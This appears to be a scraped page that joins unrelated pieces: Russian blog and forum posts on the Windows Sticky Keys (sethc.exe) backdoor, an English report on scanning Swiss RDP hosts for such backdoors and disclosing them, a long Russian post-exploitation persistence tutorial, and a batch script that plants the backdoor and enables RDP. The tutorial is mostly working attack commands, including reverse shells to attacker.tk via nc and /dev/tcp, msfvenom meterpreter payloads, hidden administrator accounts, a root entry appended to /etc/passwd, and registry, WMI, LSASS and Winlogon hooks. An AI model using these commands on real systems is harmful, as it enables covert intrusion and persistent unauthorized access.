Reg add hklm software microsoft windows nt currentversion image file execution options sethc exe

Привет Всем многоуважаемым читателям!!!

Сейчас вот возьму да и расскажу всем  об интересном трюке в ОС Windows, который позволит выполнить любую команду с правами ОС прям на экране входа в ВИНДОВС еще до прохождения процедуры авторизации. Эту процедуру можно использовать в нужном русле, но ею может воспользоваться вор, который после получения доступа к вашей ОС, может оставить подобную консоль доступа себе, которую сложно детектировать. Сразу скажу, что это просто кривизна архитектуры ВИНДОУС.
Методика хака состоит в использовании функции “Sticky Keys”. Заменив исполняемый файл Sticky Keys – sethc.exe на другой файл, можно добиться, чтоб запускалась нужная программа, вместотоко, чтоб запускалась утилита включения залипания клавиши. Используя подобную методику можно запустить окно командной строки прям на экране входа в ВИНДОУС.
Методика подмены файл следующая: Делаем резервную копию файла, копируем в корень диска C
этот файл
:
copy c:\windows\system32\sethc.exe c:\
меняем файл sethc.exe на файл командной строки,
copy /y c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe
Еще способ применения хака – устанавливаем отладчик для sethc.exe, можно сделать командой:
REG ADD «HKLM\SOFTWARE\Microsoft\ВИНДОУС NT\CurrentVersion\Image File Execution Options\sethc.exe» /v Debugger /t REG_SZ /d «C:\windows\system32\cmd.exe» Перезагружаем систему и на экране входа в ВИНДОУС пять раз жмем клавишу SHIFT, и запускается окно командной строки, которым заменили программу sethc.exe Командная строка запустится с правами SYSTEM, и мы получаем полный доступ к компу и можем запускать что угодно!
Эта ддовольно старая дыра в системе безопасности ВИНДОВС, когда разнообразные системные приложения запускаются из-под всемогущей SYSTEM, а не из- под ограниченной учетной записи. Трюк так же будет работать и в ВИНДОВС 7 и в Windows Server 2008 R2 и в ВИНДОУС 8 Consumer Preview. Он сработает по RDP сессии даже при терминальном подключении к серверу !
Достаточно широк диапазон применения подобной методики замены системных исполняемых файлов. Обезопасить свою систему можно, если отключить залипание клавиш Sticky Keys на компе.

На этом все пока и следите за новостями на этом блоге..

Уязвимость связанная с выполнением команды REG ADD ☑ 0

Korsak

14.05.15

12:02

Здрасти Гуру. Прошу помочь как заткнуть дыру в Вин 7 -2008 связанную с выполнением команды  REG ADD. в части подмены файла залипания клавиш

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe» /v Debugger /t REG_SZ /d «C:\windows\system32\cmd.exe

В инете нашел отключить залипание клавиш в панели управления, но не помогает это.

Спасибо откликнувшимся.

1

H A D G E H O G s

14.05.15

12:09

(0) Элегантно!

2

H A D G E H O G s

14.05.15

12:10

(0) Написать в Мелкософт, пусть при 5 кратном Шифт, перед запуском sethc.exe проверяют его хеш.

3

Korsak

14.05.15

12:12

(2) Ну эт кардинально, а не элегантно )

4

Гёдза

14.05.15

12:29

откуда у простого смертного право писать в эту ветку реестра?

5

Korsak

14.05.15

12:42

(4) Ой извините, что написал. Откуда нам смертным то ума набраться, если такие небожители как вы только между собой пишете.

6

Korsak

14.05.15

12:47

(4) Хотя какой вы небожитель если с окнами в формах разобраться не можете

7

Cap_1977

14.05.15

12:47

(0) Правами не рулится чтоль ?

8

Korsak

14.05.15

12:48

(7) В том то и дело, что права получают админские.

9

Korsak

14.05.15

12:49

(4) Сори затупил

10

Torquader

14.05.15

13:13

А что нельзя отключить включение залипания после того как удержали Shift ?

И потом, если очень хочется, что заходим в редактор реестра и на нужной ветке запрещаем запись всем, кроме системы (системе запрещать нежелательно, иначе возможны глюки вплоть до смнего экрана) и всё.

Только ещё желательно Администраторам оставить право менять настройки безопасности, ну или сделать пользователя, который может менять всё, чтобы ставить программы под ним.

The idea

Some time ago I read a tweet about hunting so-called “sticky-keys backdoors”, referencing a presentation at DEFCON 24, https://www.youtube.com/watch?v=EAYtRQKfna0 In addition to the presentation, the team released a tool called “Sticky Keys Slayer” that is publicly available on GitHub, https://github.com/linuz/Sticky-Keys-Slayer/

The sticky-keys backdoor is using a simple trick. On a Windows system, it is possible to enable accessibility features and sticky keys even on the login screen, i.e. before performing a successful login. Those features run an executable as NT AUTHORITY\SYSTEM. There are two executables, sethc.exe and utilman.exe. Both can be replaced by other executables if one has sufficient rights on the system. Say you replace them by cmd.exe and you will be able to run a high privileged shell on the machine without being authenticated. Another option, a bit stealthier is to set cmd.exe as the debugger for sethc.exe, ending up with a high privileged shell as well. The registry change required would look similar to:

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f

A simplified, high-level overview of the “Sticky Keys Slayer” tool, that tries to detect the backdoors mentioned above, is as follows:

  • Open a RDP session to the server with an invalid user to stay on login screen,
  • Take a first screenshot of the session,
  • Send the keys Shift Shift Shift Shift Shift,
  • Send the keys Windows+U,
  • Take a second screenshot of the session,
  • Compare both screenshots to see if a command-line window has been opened by checking the difference of black pixels,
  • Save the screenshot in a directory if the test is positive, in another one otherwise.

Being interested in this, I quickly pulled off a list of all Swiss IPs having port 3389 open from shodan.io using the following query:

port:"3389" country:"CH"

This gave me 9450 hosts to test. I used the provided tools with minor modifications to make it work on my usual test machine and was good to go. The full scan took several hours to complete and gathered about 500 MBytes worth of screenshots.

The results

After the scan, a quick visual check of the screenshot was done to rule out false positives and some false-negatives as well. The final count is as follows:

The high error count is mostly due to the fact that lots of the IPs with the RDP port being open were residential connections with a DHCP assigned public IP. The data from shodan being not real-time accurate makes it probable that many IPs were reassigned before our tests. It also means that more backdoored systems could be found in this gray area.

Among the backdoored systems were mostly end-users DHCP connections (80 out of 113). Then enterprises of all kinds, mostly small and medium ones, and a few big companies as well.  In addition, some other things were to be found on the screenshots:

  • All versions of Windows are present from XP/2000 to 2016 as well as some RDP client for Linux and Mac OS
  • Information disclosure with an extensive bginfo background, https://docs.microsoft.com/en-us/sysinternals/downloads/bginfo
  • Nice green-, yellow-, orange- or even pink-colored background instead of the default Windows blue
  • Login through face recognition over webcam instead of a username and password
  • Custom binary run instead of cmd.exe that first asks for a password instead of directly giving a shell
  • Open root access on a Linux server with someone being busy installing a Monero coin miner :-)

Remediation

All the vulnerable IPs were promptly reported either to Swisscom through their bug bounty / responsible disclosure program or to MELANI for all the IP’s that do not belong to Swisscom’s network ranges. Swisscom immediately forwarded the information to whomever was impacted and awarded a CHF 500 bounty since two of the backdoored servers were in the scope for the bug bounty.

What can a sysadmin do if he is presented with such a finding, “your server has been backdoored and is easily accessible for anyone on the Internet”? The immediate remediation for the sticky key backdoor is obvious. Replacing the malicious executable by the original Microsoft binary and/or removing the registry key will remove the backdoor. But how to determine who planted the backdoor, how did this person first got administrative access to the server and how to prevent it from happening again? This is a typical case where forensic investigation comes into play. There is no easy tips here but some preparation can be done in advance to maximize the likelihood of such an investigation to be successful, have a look at one of our previous post https://blog.compass-security.com/2017/06/forensic-readiness/

persistence

Содержание

  • 1 Шелл
  • 2 Автозагрузка
  • 3 Сервисы
  • 4 Задачи
  • 5 In-memory
  • 6 Конфиги
  • 7 Особые приемы в Linux
    • 7.1 LD_PRELOAD
    • 7.2 rc.local
  • 8 Особые приемы в Windows
    • 8.1 Дебаггер
    • 8.2 Gflags
    • 8.3 WMI
    • 8.4 AppInit
    • 8.5 Lsass
    • 8.6 Winlogon
    • 8.7 Netsh
    • 8.8 Office
  • 9 Выводы

Сегодняшнее статья посвящена Persistence. Мы рассмотрим основные и наибо­лее популяр­ные способы, которые поз­воля­ют про­писать­ся в сис­теме после взлома — скрыт­но или не очень. Все рассматриваемые в статье способы по боль­шей час­ти не зависят от вер­сии и кон­фигура­ции ОС и лег­ко реали­зуемы.

Еще по теме: Как пользоваться Metasploit Framework

Итак, начнем. Ког­да хакер получил шелл на хос­те, пер­вое, что нужно сде­лать, — это обес­печить себе «пос­тоянс­тво» (persistence) в сис­теме. Ведь во большинстве слу­чаев на RCE может быть лишь одна попыт­ка, а зна­чит, нельзя потерять дос­туп из‑за каких‑нибудь ошибок.

Есть различные спо­собы орга­низо­вать воз­можность пос­тоян­ного при­сутс­твия Persistence, у каж­дого свои дос­тоинс­тва и недос­татки:

  • за­писать что‑либо на HDD:

    • плюс: пережи­вет перезаг­рузку;
    • ми­нусы: замет­но для челове­ка, замет­но для анти­виру­са;
  • внед­рить код в RAM:

    • плюс: незамет­но для челове­ка;
    • ми­нусы: не пережи­вет перезаг­рузку, может быть замет­но для анти­виру­са;
  • из­менить кон­фигура­цию ОС:

    • плю­сы: незамет­но для анти­виру­са, пережи­вет перезаг­рузку;
    • ми­нус: может быть замет­но для челове­ка.

Ча­ще все­го при зак­репле­нии в сис­теме все же при­ходит­ся обра­щать­ся к дис­ку, пос­коль­ку это единс­твен­ный спо­соб не вылететь из‑за слу­чай­ной перезаг­рузки. В общем слу­чае успешность такой пер­систен­тнос­ти зависит от двух фак­торов:

  • нас­коль­ко скрыт­но от поль­зовате­ля про­писан запуск бэк­дора;
  • нас­коль­ко безобид­но для анти­виру­са тело бэк­дора.

Оче­вид­но, что с точ­ки зре­ния зак­репле­ния Linux — более при­ори­тет­ная сис­тема. Компь­юте­ры с ним, как пра­вило, ред­ко обслу­жива­ются поль­зовате­лями и не перезаг­ружа­ются месяца­ми. Да и как точ­ка опо­ры они под­ходят боль­ше. Хос­ты под управле­нием Linux удоб­ны еще и потому, что они ред­ко защище­ны анти­виру­сом, а анти­вирус для пер­систен­тнос­ти — это ощу­тимая проб­лема.

В свою оче­редь, в Windows боль­ше вари­антов авто­заг­рузки, что может помочь луч­ше замас­кировать­ся в ее нед­рах. Ведь, в отли­чие от про­ник­новения в Linux, нам поч­ти всег­да при­дет­ся работать рядом с поль­зовате­лем, опыт­ным или не очень.

Если име­ете дело не с одной целью, а с целой груп­пой, весь­ма удоб­но исполь­зовать для машины ата­кующе­го домен­ное имя, а не IP. Тог­да для каж­дой жер­твы или груп­пы жертв мож­но будет задать свое уни­каль­ное имя в DNS-зоне ата­кующе­го (далее в при­мерах — attacker.tk). Это поз­воля­ет эффектив­нее управлять жер­тва­ми. Выг­лядит это при­мер­но так.

Persistence dns

Ес­ли анти­виру­сы не глав­ная проб­лема, то в качес­тве reverse shell час­то мож­но исполь­зовать прос­тые nc.exe, ncat.exe и socat.exe. Все они обла­дают воз­можнос­тями RAT и зачас­тую нор­маль­но про­ходят анти­вирус. Пос­коль­ку это прог­раммы, работа­ющие из коман­дной стро­ки, мож­но сде­лать их запуск на машине жер­твы незамет­ным. В Windows для это­го дос­таточ­но поменять subsystem у исполня­емо­го фай­ла:

pe header optional header nt fields subsystem GUI (0x0002)

Опи­сан­ные далее при­меры помогут не толь­ко при зак­репле­нии на машине жер­твы, но и для выяв­ления фак­тов ком­про­мета­ции.

Ана­лиз эле­мен­тов авто­заг­рузки — это час­то поиск игол­ки в сто­ге сена. Обыч­но при­ходит­ся судить по наз­ванию исполня­емо­го фай­ла, тому, где он находит­ся (в пра­виль­ных мес­тах или где‑то в про­филе поль­зовате­ля), а так­же по наз­ванию и опи­санию ком­пании‑раз­работ­чика, зашитым внут­ри фай­ла. Впро­чем, нич­то не меша­ет ата­кующе­му под­делать эти дан­ные.

Ан­тивиру­сы же, как пра­вило, не уда­ляют записи в спис­ках авто­заг­рузки, а уда­ляют сами исполня­емые фай­лы. Поэто­му битая ссыл­ка в авто­заг­рузке — тре­вож­ный сиг­нал.

Во мно­гих слу­чаях для пер­систен­тнос­ти могут пот­ребовать­ся пра­ва адми­нис­тра­тора. Это тоже может стать проб­лемой, ведь далеко не каж­дый шелл обла­дает нуж­ными при­виле­гиями. Поэто­му в каж­дом при­мере я буду помечать сим­волом
$ ввод неп­ривиле­гиро­ван­ного поль­зовате­ля, а 
# — адми­нис­тра­тора. Для обна­руже­ния будем исполь­зовать ути­литу Autoruns, резуль­таты вы можете наб­людать на скрин­шотах.

Шелл

Ор­ганизо­вать пер­систен­тность мож­но пря­мо из коман­дной стро­ки. Что­бы шелл откры­вал­ся всег­да, исполь­зуем коман­ду с бес­конеч­ным цик­лом, ухо­дящую в фон.

Windows

Вот как это работа­ет в Windows:

cmd$> start cmd /C «for /L %n in (1,0,10) do ( nc.exe attacker.tk 8888 -e cmd.exe & ping -n 60 127.0.0.1 )»

Linux

bash$> ( bash c «while :; do bash -i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done»; )&

bash$> nohup bash -c «while :; do bash i >& /dev/tcp/attacker.tk/8888 0>&1; sleep 60; done« &

  • Плю­сы: управля­емый интервал запус­ка, подой­дет любой поль­зователь.
  • Ми­нус: не пережи­вет перезаг­рузку.

Persistence Шелл

Автозагрузка

Го­воря о пер­систен­тнос­ти, нель­зя прой­ти мимо клас­сичес­кой и всем извес­тной авто­заг­рузки. Ее пре­иму­щес­тво в том, что она будет работать с пра­вами любого, даже неад­минис­тра­тив­ного поль­зовате­ля.

Windows

cmd$> copy meter.exe %APPDATA%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

cmd$> reg add «HKCU\Software\Microsoft\Windows\CurrentVersion\Run» /v persistence /t REG_SZ /d «C:\users\username\meter.exe»

cmd#> copy meter.exe C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\

cmd#> reg add «HKLM\Software\Microsoft\Windows\CurrentVersion\Run» /v persistence /t REG_SZ /d «C:\Windows\system32\meter.exe»

Linux

bash$> echo «nc attacker.tk 8888 -e /bin/bash 2>/dev/null &» >> ~/.bashrc

  • Плю­сы: пережи­вает перезаг­рузку, подой­дет любой поль­зователь.
  • Ми­нус: неуп­равля­емый интервал запус­ка.

Persistence Автозагрузка

Сервисы

Ис­поль­зовать служ­бу для зак­репле­ния более выгод­но, чем авто­заг­рузку, так как Service Manager будет сам переза­пус­кать служ­бу, если пот­ребу­ется.

Для Windows соз­дание служ­бы пот­ребу­ет пра­ва адми­нис­тра­тора.

cmd#> sc create persistence binPath= «nc.exe -e \windows\system32\cmd.exe attacker.tk 8888» start= auto

cmd#> sc failure persistence reset= 0 actions= restart/60000/restart/60000/restart/60000

cmd#> sc start persistence

В Linux соз­дать служ­бу мож­но и с учет­ки прос­того поль­зовате­ля. Вот вари­анты для рута и для прос­того поль­зовате­ля.

bash#> vim /etc/systemd/system/persistence.service

bash$> vim ~/.config/systemd/user/persistence.service

Со­дер­жимое фай­ла:

[Unit]

Description=persistence

[Service]

ExecStart=/bin/bash c ‘bash -i >& /dev/tcp/attacker.tk/8888 0>&1’

Restart=always

RestartSec=60

[Install]

WantedBy=default.target

И запус­каем соз­данную служ­бу:

bash#> systemctl enable persistence.service

bash#> systemctl start persistence.service

bash$> systemctl user enable persistence.service

bash$> systemctl user start persistence.service

  • Плю­сы: пережи­вает перезаг­рузку, управля­емый интервал запус­ка, под­ходит любой поль­зователь.
  • Ми­нус: необ­ходимы пра­ва адми­нис­тра­тора.

Persistence Сервисы

Задачи

Соз­дание зап­ланиро­ван­ной задачи — весь­ма удоб­ный спо­соб под­держа­ния дос­тупа. Заод­но мож­но задать вре­мя и интервал запус­ка. Но делать это раз­решено, как пра­вило, толь­ко при­виле­гиро­ван­ным поль­зовате­лям.

Windows

cmd#> at 13:37 \temp\nc.exe -e \windows\system32\cmd.exe attacker.tk 8888

cmd#> schtasks /create /ru SYSTEM /sc MINUTE /MO 1 /tn persistence /tr «c:\temp\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888»

Linux

bash#> echo «* * * * * bash -i >& /dev/tcp/attacker.tk/8888 0>&1» >> /var/spool/cron/root

bash#> echo $’SHELL=/bin/bash\n* * * * * root bash -i >& /dev/tcp/attacker.tk/8888 0>&1\n’> /etc/cron.d/pwn

  • Плю­сы: пережи­вает перезаг­рузку, управля­емый интервал запус­ка.
  • Ми­нус: нуж­ны пра­ва адми­нис­тра­тора/root.

Persistence Windows

In-memory

Внед­рение бэк­дора, который будет висеть в опе­ратив­ный памяти, име­ет смысл, если нуж­но зак­репить­ся на целевой машине, не оставляя никаких сле­дов. Анти­виру­сы обыч­но сла­бо кон­тро­лиру­ют деятель­ность в памяти, пос­коль­ку это соп­ряжено с боль­шим допол­нитель­ным рас­ходом ресур­сов. Даже опыт­ный поль­зователь вряд ли заметит что‑то, что скры­то внут­ри легаль­ного про­цес­са.

В качес­тве in-memory-бэк­дора мы будем исполь­зовать meterpreter. Это, пожалуй, самый извес­тный RAT, спо­соб­ный работать исклю­читель­но в памяти, не тро­гая при этом диск.

Windows

msfvenom p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 f raw o meter32.bin exitfunc=thread StagerRetryCount=999999

cmd$> inject_windows.exe PID meter32.bin

Linux

msfvenom p linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 f raw o meter32.bin exitfunc=thread StagerRetryCount=999999

bash$> inject_linux PID meter32.bin

Внед­рить код мы можем не толь­ко в натив­ные про­цес­сы, но и в интер­пре­тиру­емые, нап­ример интер­пре­тато­ром Python:

msfvenom p python/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8888 o meter.py exitfunc=thread StagerRetryCount=999999

$> pyrasite 12345 meter.py

За мак­сималь­ную скрыт­ность пла­тим потерей пер­систен­тнос­ти пос­ле перезаг­рузки.

  • Плю­сы: подой­дет любой поль­зователь, труд­но обна­ружить челове­ку.
  • Ми­нусы: не пережи­вает перезаг­рузку.

Persistence память

Пос­коль­ку вре­донос­ный поток запус­кает­ся вне какой‑либо биб­лиоте­ки, Procexp час­то показы­вает такой поток как запущен­ный от нулево­го адре­са.

Конфиги

Ор­ганиза­ция пер­систен­тнос­ти через изме­нение кон­фигура­ции ОС — отличный спо­соб спря­тать­ся от анти­виру­са. Это единс­твен­ный слу­чай, ког­да мы не исполь­зуем вооб­ще никакой исполня­емый код. Но при­мени­мо это, толь­ко если у нас есть пря­мой дос­туп к целевой машине.

Соз­дание скры­того поль­зовате­ля, от име­ни которо­го мож­но будет потом получить уда­лен­ный дос­туп, — это, пожалуй, самый извес­тный вари­ант такой ата­ки.

Windows

cmd#> net user attacker p@ssw0rd /add

cmd#> net localgroup administrators /add attacker

cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList» /v attacker /t REG_DWORD /d 0 /f

Linux

bash#> openssl passwd -1 -salt test

bash#> echo ‘post:$1$test$pi/xDtU5WFVRqYS6BMU8X/:0:0::/:/bin/bash’ >> /etc/passwd

Прос­тое и эффектив­ное внед­рение зак­ладки в Windows через RDP:

cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe» /v Debugger /t reg_sz /d «\windows\system32\cmd.exe»

cmd#> reg add «HKLM\system\currentcontrolset\control\Terminal Server\WinStations\RDP-Tcp» /v UserAuthentication /t REG_DWORD /d 0x0 /f

  • Плю­сы: труд­но обна­ружить анти­виру­сом, пережи­вает перезаг­рузку.
  • Ми­нусы: тре­бует пра­ва адми­нис­тра­тора/root, не под­ходит, если машина за NAT или фай­рво­лом.

Persistence rdp Windows

Особые приемы в Linux

Вот мы и доб­рались до трю­ков, которые сра­бота­ют толь­ко в опре­делен­ной ОС. Нач­нем с Linux.

LD_PRELOAD

В Linux для того, что­бы в каж­дый запус­каемый про­цесс под­гру­жал­ся нуж­ный нам код, мож­но исполь­зовать перемен­ную LD_PRELOAD:

bash#> echo /path/to/meter.so >> /etc/ld.so.preload

bash#> echo export LD_PRELOAD=/path/to/meter.so >> /etc/profile

bash$> echo export LD_PRELOAD=/path/to/meter.so >> ~/.bashrc

  • Плю­сы: пережи­вает перезаг­рузку, подой­дет любой поль­зователь.
  • Ми­нус: неуп­равля­емый интервал запус­ка.

rc.local

Один раз пос­ле перезаг­рузки мы можем выпол­нить коман­ды в rc.local.

bash#> echo «nc attacker.tk 8888 -e /bin/bash &» >> /etc/rc.local

  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нусы: неуп­равля­емый интервал запус­ка, нуж­ны пра­ва root.

Особые приемы в Windows

Здесь у нас будет боль­ше инте­рес­ных трю­ков!

Дебаггер

Ес­ли ата­кующий зна­ет, что ата­куемый поль­зователь час­то запус­кает какую‑то прог­рамму, ска­жем каль­кулятор, то он может внед­рить свой код в тело этой прог­раммы с помощью джой­нера. Одна­ко вся­кое вме­шатель­ство в исполня­емые фай­лы неумо­лимо повыша­ет уро­вень недове­рия к ним со сто­роны анти­виру­са. Куда более изящ­ным исполне­нием будет перех­ват запус­ка:

cmd#> copy calc.exe _calc.exe

cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe» /v Debugger /t reg_sz /d «cmd /C _calc.exe & c:\windows\nc.exe -e c:\windows\system32\cmd.exe attacker.tk 8888» /f

Как толь­ко victim запус­тит, а затем зак­роет каль­кулятор, ата­кующий при­мет reverse shell.

  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нус: тре­бует пра­ва адми­нис­тра­тора.

Persistence debug Windows

Gflags

Поч­ти таким же обра­зом мож­но орга­низо­вать запуск сво­его кода, ког­да поль­зователь зак­рыва­ет опре­делен­ную прог­рамму.

cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe» /v GlobalFlag /t REG_DWORD /d 512

cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe» /v ReportingMode /t REG_DWORD /d 1

cmd#> reg add «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe» /v MonitorProcess /d «nc -e \windows\system32\cmd.exe attacker.tk 8888»

  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нус: тре­бует пра­ва адми­нис­тра­тора.

Autoruns этот спо­соб не обна­ружи­вает, но вы можете про­верить вет­ку реес­тра:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit

WMI

cmd#> wmic /NAMESPACE:»\\root\subscription» PATH __EventFilter CREATE Name=»persistence», EventNameSpace=»root\cimv2″,QueryLanguage=»WQL», Query=»SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_PerfFormattedData_PerfOS_System'»

cmd#> wmic /NAMESPACE:»\\root\subscription» PATH CommandLineEventConsumer CREATE Name=»persistence», ExecutablePath=»C:\users\admin\meter.exe»,CommandLineTemplate=»C:\users\admin\meter.exe»

cmd#> wmic /NAMESPACE:»\\root\subscription» PATH __FilterToConsumerBinding CREATE Filter=»__EventFilter.Name=»persistence»», Consumer=»CommandLineEventConsumer.Name=»persistence»»

  • Плю­сы: пережи­вает перезаг­рузку, управля­емый интервал запус­ка.
  • Ми­нус: тре­бует пра­ва адми­нис­тра­тора.

Persistence WMI

AppInit

В Windows есть инте­рес­ный спо­соб внед­рения биб­лиотек в окон­ные при­ложе­ния с помощью AppInit (они дол­жны исполь­зовать user32.dll).

cmd#> reg add «HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows» /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f

cmd#> reg add «HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows» /v AppInit_DLLs /t reg_sz /d «c:\path\to\meter64.dll» /f

cmd#> reg add «HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows» /v LoadAppInit_DLLs /t reg_dword /d 0x1 /f

cmd#> reg add «HKLM\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows» /v AppInit_DLLs /t reg_sz /d «c:\path\to\meter32.dll» /f

  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нусы: тре­бует пра­ва адми­нис­тра­тора, неуп­равля­емый интервал запус­ка.

Persistence AppInit

Lsass

Еще одна воз­можность — про­писать биб­лиоте­ку в сис­темном про­цес­се lsass. Это дос­таточ­но выгод­ное мес­то, пос­коль­ку в дан­ном про­цес­се хра­нят­ся те самые учет­ные записи, которые мы извле­каем ути­литой mimikatz.

cmd#> reg add «HKLM\system\currentcontrolset\control\lsa» /v «Notification Packages» /t reg_multi_sz /d «rassfm\0scecli\0meter» /f

  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нусы: тре­буют­ся пра­ва адми­нис­тра­тора, неуп­равля­емый интервал запус­ка, мож­но убить сис­тему.

Persistence Lsass

Winlogon

Что­бы каж­дый раз, как кто‑то из поль­зовате­лей вхо­дит в сис­тему, откры­вал­ся шелл, мож­но исполь­зовать механизм Winlogon.

cmd#> reg add «HKLM\software\microsoft\windows nt\currentversion\winlogon» /v UserInit /t reg_sz /d «c:\windows\system32\userinit.exe,c:\windows\meter.exe»

  • Плюс: пережи­вает перезаг­рузку.
  • Ми­нус: неуп­равля­емый интервал запус­ка.

Persistence Winlogon

Netsh

Ути­лита нас­трой­ки сети Netsh тоже поз­воля­ет под­гру­жать про­изволь­ную биб­лиоте­ку. Это откры­вает воз­можность орга­низо­вать через нее импро­визи­рован­ную авто­заг­рузку. Резуль­тат будет выг­лядеть безобид­но, так как пер­воначаль­но вызыва­ется сис­темный ком­понент Windows.

cmd#> c:\windows\syswow64\netsh.exe

netsh> add helper c:\windows\meter32.dll

cmd#> reg add «HKLM\Software\Microsoft\Windows\CurrentVersion\Run» /v persistence /t REG_SZ /d «C:\Windows\SysWOW64\netsh.exe»

В ито­ге получа­ем такую цепоч­ку: autorun → netsh.exe → meter.dll.

При этом meter.dll будет скрыт от глаз поль­зовате­ля — он уви­дит лишь запуск легитим­ной Netsh, род­ной ком­понент Windows.

  • Плю­сы: пережи­вает перезаг­рузку, слож­но обна­ружить поль­зовате­лю.
  • Ми­нус: тре­бует пра­ва адми­нис­тра­тора.

Persistence Netsh

Office

Этот спо­соб подой­дет, если ата­куемый поль­зователь час­то работа­ет с офис­ным пакетом. Не такая уж ред­кость!

cmd$> reg add «HKCU\Software\Microsoft\Office test\Special\Perf» /t REG_SZ /d C:\users\username\meter.dll

  • Плю­сы: пережи­вает перезаг­рузку, подой­дет любой поль­зователь.
  • Ми­нус: неуп­равля­емый интервал запус­ка.

Persistence Office

Выводы

Мы рас­смот­рели основные и наибо­лее популяр­ные вари­анты Persistence. Они по боль­шей час­ти не зависят от вер­сии и кон­фигура­ции ОС и лег­ко реали­зуемы. Уни­вер­саль­ного спо­соба нет (ина­че обна­руже­ние было бы слиш­ком прос­тым!), и у каж­дого есть дос­тоинс­тва и недос­татки. При выборе наша цель — сба­лан­сировать надеж­ность и скрыт­ность.

Этим спис­ком выбор, конеч­но же, не огра­ничи­вает­ся, и все в конеч­ном сче­те зависит толь­ко от вашей фан­тазии и изоб­ретатель­нос­ти. В Windows хороший помощ­ник в поис­ке новых воз­можнос­тей для зак­репле­ния — все та же ути­лита Autoruns.

Од­нако выгод­но рас­положен­ная в сис­теме ссыл­ка на бэк­дор — это еще не все. О том, какой исполня­емый файл для это­го исполь­зовать и как при этом эффектив­но обой­ти анти­вирус, я рас­ска­жу в сле­дующей сво­ей статье.

Batch script to launch a cmd backdoor when stickykeys, utiliman, or display keyboard hotkeys are toggled. Also starts RDP.


This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters

Show hidden characters

REG ADD «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe« /v Debugger /t REG_SZ /d «C:\windows\system32\cmd.exe« /f
REG ADD «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Utilman.exe« /v Debugger /t REG_SZ /d «C:\windows\system32\cmd.exe« /f
REG ADD «HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\DisplaySwitch.exe« /v Debugger /t REG_SZ /d «C:\windows\system32\cmd.exe« /f
REG ADD «HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp« /v UserAuthentication /t REG_DWORD /d 0 /f
netsh firewall set service type = remotedesktop mode = enable
netsh advfirewall firewall set rule group=«remote desktop« new enable=Yes
net start TermService

  • Redis on windows что это
  • Recovery your pc needs to be repaired windows 0xc0000098
  • Reg add hklm software microsoft windows currentversion policies system
  • Red organizer скачать бесплатно для windows 10 c ключом через торрент
  • Red alert 2 фикс черного экрана в windows 10